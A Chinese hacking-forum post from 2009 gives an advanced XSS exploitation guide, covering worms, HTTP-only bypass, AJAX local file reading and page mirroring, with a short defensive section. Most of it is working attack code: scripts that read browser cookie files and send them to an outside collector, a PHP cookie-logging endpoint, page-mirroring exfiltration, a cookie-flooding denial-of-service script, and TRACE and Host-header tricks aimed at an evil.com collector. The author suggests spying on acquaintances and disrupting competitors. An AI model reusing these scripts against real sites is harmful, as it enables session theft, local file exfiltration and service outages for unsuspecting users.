XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
9 M2 h) J- G7 E* z( |4 J% P- Q: h本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
* r0 {& |8 W4 Y: @5 C& d/ w7 FBy racle@tian6.com   
0 U) |, o, j$ ehttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

6 x; n3 H$ O! W  L# d& }- Y
0 u) D. O6 G- d7 t# l, v. Q
-------------------------------------------前言---------------------------------------------------------
( Y/ |& l- a- W8 ~8 Q

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
9 _. P5 U/ Q2 j8 h0 j! N: N/ n1 ihttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
$ ^; o9 q" A$ }! Y4 f; Chttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
# P1 b# |, X  T; l3 B& E# q
3 q8 L- \1 g/ |. D* v5 g% p
1 t# J0 I" r" e$ @
8 b& y; B, x1 C$ J# P
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
: w4 E: z* @! j0 L$ Y
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
% b& Z/ W4 a2 m, X. y7 i
, L* }- y4 ^# `3 {2 t如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

; `7 H# ^+ q7 q! l& P- ?; C7 a# WBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

0 x6 J, m, _# s, X8 P' i( eQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
9 Z" U& a4 Y: s6 a2 J2 m; W
; @. t$ X- s/ ?8 P! B  U..........
复制代码------------------------------------------介绍-------------------------------------------------------------
2 k1 A7 G! z0 R1 l+ Z- W2 y
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
/ Q1 b0 a! v, o) C


跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
; ?  H9 J# g+ z" P+ o- L4 ~
* ]+ U8 w" O- y5 ]( `+ y. p2 p; S# W8 u

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
  l) r. ?0 F) C  w- D复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

: t1 I) q- k1 n% y: i' W1        通过XSS,我们能实现什么?

# P0 \7 W7 z% H; N/ A9 c$ o4 X, q2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
! y6 e. O& w" O( C: a  ^# S
% k- O9 _) G9 n3 i( N+ |3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

$ C/ R+ l: d0 t4        XSS漏洞在输出和输入两个方面怎么才能避免.

5 j9 d$ s9 W1 z8 `2 r0 h7 n
0 T% B8 j* M% Z. u$ x: z
0 {2 Z& i. ]6 A! }9 x- H------------------------------------------研究正题----------------------------------------------------------
' D2 c- q2 M  r9 g% B8 ^
# f# b: o% L$ t  s2 `! D) A
$ ^4 L; f* Y' g
9 M7 I8 u5 c6 r- u" j通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
9 C9 p* X  U& Y6 S) G4 {复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
$ R; f/ [& F! I& r/ F1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
, S0 V9 w4 ~2 Q2 E2 D! L8 i2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
) E6 P5 ?: B, S- E. p3 k2 N4:Http-only可以采用作为COOKIES保护方式之一.





8 K6 p& T9 S4 l! t3 _: h(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
, y4 |7 \# B8 W! e" Q% n6 Y


    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

) [3 _1 I0 \  n! `6 W) k
9 q/ M; ^: q5 ~, a1 Y3 D; L
. z% T4 m( O- D* I/ o1 C    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
* u, e; w2 @+ b- d* M& D$ _- O
    function $(x){return document.getElementById(x)}

$ o2 r9 Z  T2 b' I/ f$ u$ |

7 V; @4 C0 @/ A% u    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

, G% x0 v9 |. Y( |. r# ~' Q8 Y    } else if(window.ActiveXObject) {

* G! Y6 F. s$ _, ^! h    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
: s0 x% L1 M1 h0 s5 P5 A" _
* }+ h' d. C. R

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ X2 V$ c  K& \& _( X6 U& m
2 R+ d: Q! v9 Y! n    for(var i=0; i<versions.length; i++) {

6 v- O% I" J4 l" x    try {
7 f* R' ~) w8 A& v% g4 T! \! r$ q& o: v
    request = new ActiveXObject(versions);

    } catch(e) {}
8 I) @% b% [, c. u6 e# i
: h6 n) O# G1 }- i    }

5 c2 S4 I7 _1 K    }

    return request;

) t1 [$ H, _- V) w* F8 `( L/ ?/ h    }
- E4 \( y' v1 j, S: i5 O& O( g
    var _x = ajax_obj();
3 q9 S( p5 Z1 @# d- y9 ]) C
( P1 }6 O+ }( E, h0 m8 b" h    function _7or3(_m,action,argv){

5 V  N) ?9 n6 t6 {5 {  y( X- v    _x.open(_m,action,false);
4 V8 ^% T7 D- |) q
9 ^# e' K/ H& ^$ L$ }  F    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

1 `% n2 H6 S# f2 ~% i    _x.send(argv);

    return _x.responseText;

* b7 Q; _. j: J9 M    }



6 z9 t; ?- x, T1 I3 p7 J    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

  L/ [4 Z& C8 Y  w4 W    alert(txt);



2 K- I3 z; n( g5 W( E2 @/ j    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
( u' O2 k- r" m* U7 A
    function $(x){return document.getElementById(x)}
8 |# y  o, [0 B


    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
3 o- |( _" l" I$ x* g0 }- d8 F
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

: W" E- }% N/ N) o    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
+ J- u* ]" c' G/ x4 I6 p
9 \! q; H: z9 f4 E
! R3 F/ z  X* S% a
  o. T* O( s& R( _    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

2 p( d0 Z: ^+ H    for(var i=0; i<versions.length; i++) {

# T7 j- l% G7 g    try {

    request = new ActiveXObject(versions);

' M5 I! W( W# A+ r' o- n    } catch(e) {}

  z8 r+ D$ m3 u* J5 Z' t) F6 X    }
, ^! ^( Y. \( @
    }

    return request;
/ @: ^; I: _# r# z. ~
    }
  Q. ?' e) V( ]
    var _x = ajax_obj();
0 X% \- ^8 g% G* z7 z5 l
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

. Q. `  o4 k, j0 M9 r    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

( j3 G3 q" w, q6 |) ~$ b5 j    return _x.responseText;
1 h$ Q/ c) g* J# s$ k4 E" z
    }
+ H1 e' ?' z& _  _0 l! r% C


; |- A2 P9 H+ j0 y1 D, V( M8 n! q  c    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
* d3 N1 k. ?7 d9 T% O+ n( y4 [0 ~


; E1 H' f4 h& {4 k7 g! |8 u4 r    </script>
5 ]8 C& Z9 a* i9 L4 F. m* s复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
( A7 l# S5 |/ |5 A7 x" p
# f* t" }3 z6 l8 M7 G+ h

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

8 G& o/ M/ N. f6 c
! Q8 L8 o* J% p' u( d8 ^% H: W
* }" v0 ?0 Z0 _! `! }5 X<?   

/*  
/ Y$ T; I4 A& V8 |0 W
  D& n9 m( z6 q- ?: k1 Q     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

$ E5 Y4 W& G7 b! @5 a9 `     www.inbreak.net   
, Z) O* A/ F" G1 Z
     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
1 q4 K. p; s: H
) y) c+ M6 [3 S, ]7 u+ dheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
5 Z8 D- L" T% C( Z0 c/ u$ X
3 N3 l+ b+ L' [- w. z/*  

# r0 @4 Q+ L$ Y( z3 M8 |% I6 v     set header, so just download html file,and open it at local.  
" y; g/ v# Z$ I5 u, A
* @) Q/ B9 a, F*/  
0 ^9 a+ k3 F+ R. Y, y: b3 T( T
?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

. \8 m' I5 R) Q. E. D     <input id="input" name="cookie" value="" type="hidden">   

</form>   
% B$ Q  \( B- ~" t5 a
<script>   

  X' [9 U5 {$ R9 m) ~* _0 R) M% S7 ofunction doMyAjax(user)   

, v, ^1 P7 N8 U{   
) t! e5 T- U' O+ @/ w
var time = Math.random();   
) [- U% w! W1 s
5 {, e  @  M7 C# Y3 X& T/*  
+ l7 U' z! k& A$ _2 ]
3 y+ S( V* t# i# r' ]the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

# l1 j* e: l6 q5 w( C% D( `% D8 fand so on...  
$ R/ I4 w% k" w/ g% P. m
*/  

# h% c8 m- R: M: _2 ~( fvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
$ [5 E7 A2 v. h$ U5 U2 O% u! v4 A% b
) [% L# `6 i% V4 c" u   
7 ]4 l& Q. {" h/ [. E" ^1 H! o
startRequest(strPer);   
/ ~* c5 u, j) c& I; D
. S1 p% l" J0 @. k  _  ]
5 y8 g9 G+ K* ]( L8 G
}   

3 u8 M6 c# }$ N% s   
1 _) v8 ]8 D* e1 i0 ?
1 ]+ m& H& ]6 F# t! Kfunction Enshellcode(txt)   

{   

% @$ F$ W  U) ~" [7 _* rvar url=new String(txt);   

8 r9 x+ [- N8 _. K, I( uvar i=0,l=0,k=0,curl="";   

5 s7 N# S2 o/ ?. i- Tl= url.length;   
. E4 d  N: @. a" Z" h3 D4 Y
for(;i<l;i++){   

* `% h$ A! R% c, B; P7 G: hk=url.charCodeAt(i);   

2 U+ D" o6 z% E- X# ^if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
6 V0 V% O  w# |
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
8 k& N0 l5 C+ {, u: F; V& Y. t+ K
return curl;   

}   

3 G2 |6 W3 @9 `9 y' V+ x5 s   

, d0 w' v7 Y$ e& c: Q/ U% W   
4 }# V, {- B& h
5 y  e+ f) B, @4 A+ F. \var xmlHttp;   

" m+ S, c$ `8 b% w% Qfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   

' P% ?& W' }8 m/ yxmlHttp = new XMLHttpRequest();           
0 e1 s& L2 i- Q3 c) r+ z
     }   

     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
- y* ^+ C1 _2 ^" T+ S  J" ~
8 X. r* W3 C; t     }   

}   

   

4 P* @- x9 H- {1 d" B  y! A9 _- k( Xfunction startRequest(doUrl){   
0 P' B$ L  p  e  W8 h
   

, G" D6 k; F$ |, L" `     createXMLHttp();   
9 E3 a" e, [: K; \; I  M0 A& P
! [6 x1 t. H& N3 q; C3 H( B: E$ o

" A# @( [0 q3 u8 j; P1 P+ i1 W     xmlHttp.onreadystatechange = handleStateChange;   


; L& ^$ L# R9 a, R
* K6 e: t8 r' @1 k     xmlHttp.open("GET", doUrl, true);   

- \  d8 i3 d! w
: X- b) S' V6 a" y5 L2 N- \
     xmlHttp.send(null);   
% L  j- q! b9 J


- d6 |6 ^: w2 }4 e

( ~2 F) Z9 U- L$ J! I" w( z3 W}   

& s! q4 b  j& v1 O9 R4 _! G  @# h% {   

function handleStateChange(){   
3 }5 }4 [6 n7 P1 x9 N# Z
* p4 z! f% X/ I" I     if (xmlHttp.readyState == 4 ){   
4 `0 \- h$ c* \' A6 I+ y
# x4 Y# x: u9 F& B8 A1 i     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

& M3 t/ t8 s( h9 T  l4 N        

     }   
& x  L3 h3 w5 Y: Q
: e) x8 g- s, b/ s3 R  `}   

   
9 p4 F$ ~: [6 I& v) ^% w& ?0 p, ?
8 H$ @7 B6 {$ u& i   
5 S/ ]( R" s6 `+ A; @" |
function framekxlzxPost(text)   

$ N& I2 r2 l; h# S3 h{   
4 K/ b8 P; C/ w& g& v- x2 G
     document.getElementById("input").value = Enshellcode(text);   

0 b' C& ?3 J9 `5 W( b. B     document.getElementById("form").submit();   

}   
) |8 r% B; e( I2 L- T2 H
   
4 \  [$ }# q% o' r" K
+ D7 y4 P: ]1 m' ]7 u" h8 OdoMyAjax("administrator");   
, O8 ^* p, o+ R7 r' H4 O/ f3 }
9 i, Y5 u6 y) J2 T7 J) F   

- h, c! O9 [& {! p</script>
# ^2 B$ \" r. p- L复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
/ M9 X7 p/ Z0 J: j. ]7 D$ \! L+ D
var xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

# N+ C3 }5 U6 q( I     }  

     else if(window.ActiveXObject){  
! w7 ]1 t& y. a- ~
: e' @  P5 F+ ?, G6 O: M         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

: n4 E6 t3 f3 K# q- N& D     }  

0 ^  R. I2 z- v0 x}  
" _: |; y4 j4 H0 g
   

9 W% ^# o) q& P( Qfunction startRequest(doUrl){  
4 @* o5 b- k2 S
           
2 y/ C: q+ ^7 `$ `3 s
* N" Q. |4 C5 _1 o, h     createXMLHttp();  
, x; t0 Z" u. T9 i: R' n$ D
      

$ H5 K7 n+ `) x6 L! x. H$ d2 _     xmlHttp.onreadystatechange = handleStateChange;  
( T( F- r& N# J+ D  p5 C
% a! r3 O! q3 r1 M. c' c      

     xmlHttp.open("GET", doUrl, true);  

+ C; t$ R1 ?1 {1 K& b" H      

  i, {" }3 `! Z* r6 ^' R     xmlHttp.send(null);  

      
  [$ M- T. L+ ~  x' D9 w
      

: r1 I# _- ]1 i3 b: d}   

/ Y/ K! @* _: r; ]5 J   
3 {0 Q4 A# A# }2 S4 k
function handleStateChange(){  
* l8 W. K9 Z7 ?+ {: j, W: G
0 X) `2 s8 y% `1 n4 g; d: m8 r     if (xmlHttp.readyState == 4 ){  

) w4 i6 n: m6 h% j1 n' i0 ?0 ?             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
* N$ T* w- u2 t
5 o2 A, R4 V% j3 E               
/ p! s9 ]/ K( X& Y; b. y
     }  
, h4 j2 N  y$ C& R
. x" R3 m/ y  V" D0 E5 u}  

   

function doMyAjax(user,file)  

6 H2 `1 `$ S! ?{  

         var time = Math.random();  
/ I5 D' r: j+ p9 P/ w
, C* Z7 \, f! w           

" v: e, `2 |2 y  u! e% f6 @         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

% y" [1 n/ W  m4 ~* w& D         startRequest(strPer);  

# g  |# w. h2 V9 k# w      

}  
! J( e6 T9 M# {
   

& y1 _* I3 b' s/ `/ R- s) Efunction framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
8 g2 t  d6 h! J$ U* ]
( o& k  A3 [* ^2 Z3 @/ E     alert(/ok/);  

}  

   
8 ~4 X- a% ?0 K
doMyAjax('administrator','administrator@alibaba[1].txt');  
& {) S4 g+ U0 E; M* A, |7 J0 E
   
* p  q  s& m" c. v# L  d* R
</script>

  J9 k1 N' w, X' e( N% j" L3 W' }- T2 X
, V- `. P1 ?! r6 i) E2 d% y
5 y7 N+ ~* I' _  v6 r
7 c4 {" i4 r7 e) \6 k: a
$ [' |6 J" ^8 n3 qa.php
$ Y8 U( f2 a" @$ `; u; W/ N9 c


5 x7 f8 |$ ?$ T3 M9 A7 U<?php      

  N+ c7 A% \  N3 k9 j) H3 R+ a   
5 i9 C! ]7 I  o' `/ e
# d% x7 M+ u4 A3 l- K5 L2 `$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
% B4 y7 \# q+ F6 M4 G
- s  f  \4 W4 O! c- Z7 J$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
3 R* [% k4 |0 W' W: H, E/ {: ~; T3 J
: P0 W0 x  x9 D0 }  
$ O/ ]4 d) S( x: ^! k4 \
( ~2 g. G5 h) p# O$ e$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

, ^8 n- @) U/ T3 E! Zfwrite($fp,$_GET["cookie"]);      

fclose($fp);   
" x" S% |& j/ n9 o
) w8 [1 Q4 O  G$ j?>
( G' M* H% o* G0 r$ @9 ]% w复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
( [' o. D$ Q+ e$ g9 b) t
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

% W% f8 p+ ]$ ?! o//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
4 Y0 M& f0 L) y# m* ?
; _9 H! o& N7 E+ F//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

( t" m+ O) x3 Lfunction getURL(s) {

1 \/ E2 I  |7 U+ jvar image = new Image();
- y1 j- {1 M5 ]9 J0 R4 j
image.style.width = 0;

image.style.height = 0;
# y8 K  w: V% U5 K( [5 J
image.src = s;

}

* L8 b. ^! Q  P; F7 [2 Z& ^getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
7 ], a* p0 z& _9 x4 F" g! `' {
& k- F. ^2 Q  c! |4 |9 ^3 Yvar metastr = "AAAAAAAAAA"; // 10 A

* n7 F  s# a% o1 e: N/ E+ {var str = "";
  n5 I# h0 x% c, |4 G' z& O
while (str.length < 4000){
/ D7 y' b' P9 s4 @$ c
" D. _1 E& q+ q6 p4 c/ j    str += metastr;
4 S% Q# X8 W" g# ^1 q( j" W
}
9 p3 T" A6 A3 k
' u7 ~& w8 N/ M* t( @, C
6 e+ F6 x% x; v. \5 Y$ {
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
! T) N2 M4 q6 c% ~' p- {
+ `) m- F# f$ d' H详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
. l+ x& y4 Q" [$ Z, l; h# @
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
5 n! J9 [$ C6 P1 U攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

1 L1 [; f2 y( v. u$ s
( s% f7 d9 ^# S) f5 U. }
: G" H# Q% R* M  ~0 ?


0 V# t5 M- O4 O8 t9 a* ?2 {; U(III) Http only bypass 与 补救对策:
3 J" i6 s3 l5 }
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
& m, H7 Y4 ^8 F1 ~
/ u- B2 F% O! d6 k/ F, s<!--
& Y" L4 \7 [& o, Y8 {% x- T* L
( J. [5 W* k+ j' l$ wfunction normalCookie() {
. |! |; U1 I) ^" J9 x% ~9 F( W- e; l
% H6 K! F' s% F: Q! Ydocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

}
( x& w' C4 g  Y% i4 ]




, f9 X. n- h" Cfunction httpOnlyCookie() {

( R" U4 K- F  [1 hdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
$ y3 x5 |5 K. u( M" b5 C0 `( w9 b% L9 o
alert(document.cookie);}
/ N, |6 q# x* g( A4 F


//-->

* {, f' f$ m2 w</script>


% A: M5 a3 H  ?0 ?. }* K0 j& c
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
- d8 H" o7 a! u
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

% o& {* C, J0 Q* F  Z) J! `' g5 q

var request = false;
8 G" b8 c) Q& Y; c  h' U
$ C# X0 e  Z; ^& Q5 z* n8 W        if(window.XMLHttpRequest) {

# n* I; q) b& e! P            request = new XMLHttpRequest();
4 o: Q6 z( @2 G; E5 K9 E% p! `5 D
2 `2 D7 q* _  c& I0 X  z9 P            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

            }

        } else if(window.ActiveXObject) {
) H# Y3 S7 a, e  ^
2 @  V' O  \' ?4 _8 W: @            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

* b' t; M  T" F9 B( O: j& [2 a            for(var i=0; i<versions.length; i++) {
0 ?6 q* `" f* G  h! ~# K- n% e
                try {
, j& C7 w* M) ~/ j3 c# r3 f8 O
                    request = new ActiveXObject(versions);
! w  B) e6 ^) p1 V
: X$ ?; E! ]4 T; G6 M                } catch(e) {}
8 T- N8 o+ g4 B+ @" a8 _, m
            }
4 k/ X+ j9 K, I! L# [
' L% O- d9 n3 C! j% V$ @- m        }

xmlHttp=request;
  I: s/ {1 v. c2 D7 C
: J7 Z. L2 g2 N+ f, Y7 UxmlHttp.open("TRACE","http://www.vul.com",false);

# K4 B% J; C+ U1 {+ E2 ]+ Z$ W. x9 FxmlHttp.send(null);
% r1 T0 p: O( F, p
6 ~' b: B- h% A( I$ _! v+ wxmlDoc=xmlHttp.responseText;

. a$ |# m" ]5 J1 R4 \; R+ Talert(xmlDoc);
! u3 n5 j- D: m8 J
3 V% N8 L, e7 z  ^$ }3 N- T</script>
+ t8 ?  m- S" E% f/ P复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

$ _& K( m9 ^: `var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 [* O; r2 J; g1 K+ [$ n7 F
XmlHttp.open("GET","http://www.google.com",false);
3 x. ?# Q1 u" L3 k- r. A
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
" W+ j+ w$ e5 N4 e* `8 l/ F' a
9 H& i( e' S/ r& O9 x* {, V- FXmlHttp.send(null);
+ z  z8 p  ^' _) i- V8 _) W( L% Y
# i+ q" M1 y( w: H  U; i. m" A: k& Yvar resource=xmlHttp.responseText

resource.search(/cookies/);
+ M* a3 A# O" t/ z
! t' f4 e) u* u......................
5 I2 I9 H& g2 r2 d! e. t* U
1 `/ h2 D9 c+ H$ I  L</script>
1 M! r: y2 {# \0 V) y! Z- R) J

% k. w8 u, v4 M* Q$ X* k% ]

! l$ K7 M$ _6 f8 l3 w1 L
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

0 e, M0 T! `' D/ y[code]
3 ^. V, Y' a1 \1 B
; G% Z( D. Y; N. Q4 ~2 BRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
7 t; a4 P" I& l. v
1 N4 |+ J& N6 r& s: M& W: uRewriteRule .* - [F]
5 z" b# d% l6 ^9 ]# u) O6 j
! G( ~* k  `+ @# _
& e3 B' @- q$ C0 D
) q' m- i, I+ O. h9 r' JSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

& ^; t, X  Y% o0 c9 Q' R# X# aacl TRACE method TRACE

$ N1 C) p4 ]. X' K' T) g: h...
. I1 H# P+ K/ L  }
2 |9 n& b  u4 I$ U1 @! x6 ghttp_access deny TRACE
* B9 I) d; \5 t- R' }( ~3 d/ k6 k复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
# b7 B+ G! b3 W$ J; T9 w8 i" G
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; o5 v$ _! V3 v' |4 n6 [
! j/ e3 [- A' ?! E* O4 PXmlHttp.open("GET","http://www.google.com",false);

$ t: A( L& o2 [) RXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
1 V" d7 {8 E9 \: T
. R) T# C" J8 y+ S- PXmlHttp.send(null);
8 m) o# |1 U+ ~" c# ]* M6 z
</script>
